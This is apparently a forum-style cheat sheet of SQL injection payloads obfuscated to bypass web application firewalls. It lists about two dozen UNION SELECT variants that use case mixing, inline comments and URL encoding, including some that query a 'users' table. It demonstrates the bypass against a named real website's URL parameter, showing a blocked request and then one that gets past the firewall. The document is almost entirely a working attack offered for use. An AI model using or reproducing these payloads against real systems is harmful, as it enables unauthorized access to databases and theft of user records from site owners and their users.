Bypass WAF SQLi (HOT 2017)

The Methods
.
id=1.unioN/**/distinct%20%73eleCt""a
id=1%.0unioN/**/distinct%20%73eleCt+-!~
id=1%""unioN/**/distinct%20%73eleCt@$%
id=1%''unioN/**/distinct%20%73eleCt@%C0%
id=1-.0unioN/**/distinct%20%73eleCt@%C0/
id=1=\NunioN/**/distinct%20%73eleCt@%FF|
id=1<0.unioN/**/distinct%20%73eleCt@=
id=1>0.unioN/**/distinct%20%73eleCt~.
id=1e0unioN/**/distinct%20%73eleCt""$
id=1^0.unioN/**/distinct%20%73eleCt!~
id=1|""unioN/**/distinct%20%73eleCt\N$
id=1|''unioN/**/distinct%20%73eleCt\N%FF
id=1|.0unioN/**/distinct%20%73eleCt!@
id=1|\NunioN/**/distinct%20%73eleCt""/
.
How it Work
.
http://www.atrium.com.pk/Map.php?ID=4 ' and 0 union select 1,2,3,4,5,6,7,8-- -
.
WAF >>> Internal Server Error
.
http://www.atrium.com.pk/Map.php?ID=4 ' and 0.unioN/**/distinct%20%73eleCt""a1,2,3,4,5,6,7,8-- -
.
More >>>>
.
.
id=1.unioN/**/distinct %73eleCt""a1,2,3``from.%20users``limit 0,1-- -
id=1%.0unioN/**/distinct %73eleCt+-!~a1,2,3|''from%20.users-- -
id=1%""unioN/**/distinct %73eleCt@$%a1,2,3|""from users-- -
id=1%''unioN/**/distinct %73eleCt@%C0%a1,2,3^""from users-- -
id=1-.0unioN/**/distinct %73eleCt@%C0/a1,2,3.1from users-- -
id=1=\NunioN/**/distinct %73eleCt@%FF|a1,2,3""from users-- -
id=1<0.unioN/**/distinct %73eleCt@=a1,2,3''from users-- -
id=1>0.unioN/**/distinct %73eleCt~.a1,2,3 from users-- -
id=1e0unioN/**/distinct %73eleCt""$a1,2,3 from users-- -
id=1^0.unioN/**/distinct %73eleCt!~a1,2,3 from users-- -
id=1|""unioN/**/distinct %73eleCt\N$a1,2,3 from users-- -
id=1|''unioN/**/distinct %73eleCt\N%FFa1,2,3 from users-- -
id=1|.0unioN/**/distinct %73eleCt!@a1,2,3 from users-- -
id=1|\NunioN/**/distinct %73eleCt""/a1,2,3 from users-- -



thx for:
http://fb.me/Melegy.GHI
http://fb.me/programer.shtml